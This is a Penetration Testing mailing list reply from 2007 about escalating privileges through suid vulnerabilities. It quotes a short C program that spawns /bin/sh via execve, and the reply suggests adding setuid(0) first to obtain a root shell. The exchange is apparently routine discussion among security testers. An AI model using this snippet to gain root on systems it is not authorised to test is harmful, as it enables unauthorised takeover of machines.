Penetration Testing mailing list archives
Re: question on escalating privileges via suid vulnerabilities
From: Andrea Purificato - bunker <bunker () fastwebnet it>
Date: Mon, 26 Feb 2007 20:51:15 +0100
On Saturday 24 February 2007 19:52, John McGuire wrote:
#include <stdio.h> int main() { char *arr[2]; arr[0] = "/bin/sh"; arr[1] = NULL; execve (arr[0], arr, NULL); }
Try with "setuid(0);" before execve :-) -- Andrea "bunker" Purificato +++++++++++[>++++++>+++++++++++++++++++++++++++++++++>++++ ++++++<<<-]>.>++++++++++.>.<----------.>---------.<+++++++. http://rawlab.mindcreations.com ------------------------------------------------------------------------ This List Sponsored by: Cenzic Need to secure your web apps? Cenzic Hailstorm finds vulnerabilities fast. Click the link to buy it, try it or download Hailstorm for FREE. http://www.cenzic.com/products_services/download_hailstorm.php?camp=701600000008bOW ------------------------------------------------------------------------
Current thread:
- question on escalating privileges via suid vulnerabilities John McGuire (Feb 25)
- Message not available
- Re: question on escalating privileges via suid vulnerabilities John McGuire (Feb 26)
- Message not available
- Re: question on escalating privileges via suid vulnerabilities Christoph Bussenius (Feb 26)
- Re: question on escalating privileges via suid vulnerabilities Marco Ivaldi (Feb 26)
- Re: question on escalating privileges via suid vulnerabilities Andrea Purificato - bunker (Feb 26)
- Re: question on escalating privileges via suid vulnerabilities Fábio Russo (Feb 28)